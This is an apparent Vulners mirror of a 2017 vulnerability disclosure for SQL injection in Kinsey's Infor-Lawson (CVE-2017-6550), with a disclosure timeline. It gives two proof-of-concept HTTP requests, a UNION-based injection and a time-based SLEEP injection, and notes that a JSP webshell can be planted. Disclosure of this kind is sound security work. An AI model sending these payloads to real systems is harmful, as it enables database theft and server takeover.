Lucene search
+L

Kinsey's Infor-Lawson SQL Injection

🗓️ 10 Mar 2017 00:00:00Reported by Michael BenichType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 54 Views

Kinsey's Infor-Lawson application vulnerable to SQL injection in TABLE and Query POST parameters. Exploit allows for JSP webshell creation in /esbus/ directory. Vendor response delayed disclosure

Related
Code
`Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:  
------------------------------------------------------------------------  
Vendor: Kinsey  
------------------------------------------------------------------------  
Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html  
------------------------------------------------------------------------  
Identifier: CVE-2017-6550  
------------------------------------------------------------------------  
Tested on: Windows Server 2008 R2; MySQL ver 5.5  
------------------------------------------------------------------------  
Exploit Author: Michael Benich  
Contact: benichmt1 [at] protonmail.com or @benichmt1  
------------------------------------------------------------------------  
PoC:  
  
1) TABLE parameter, PoC below  
  
GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1  
  
------------------------------------------------------------------------  
  
2) Query POST parameter  
  
POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1  
  
<--snip--http headers-->  
  
QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB  
  
------------------------------------------------------------------------  
A JSP webshell can then be written to the /esbus/ directory.  
------------------------------------------------------------------------  
Timeline:  
  
12/1/2016 - Discovery. Contacted generic security emails  
12/1/2016 - Received response from vendor ("Thanks for the info...")  
2/27/2017 - Followed up with contact and intent to disclose. No reply.  
3/10/2017 - Disclosure  
------------------------------------------------------------------------  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.03974
54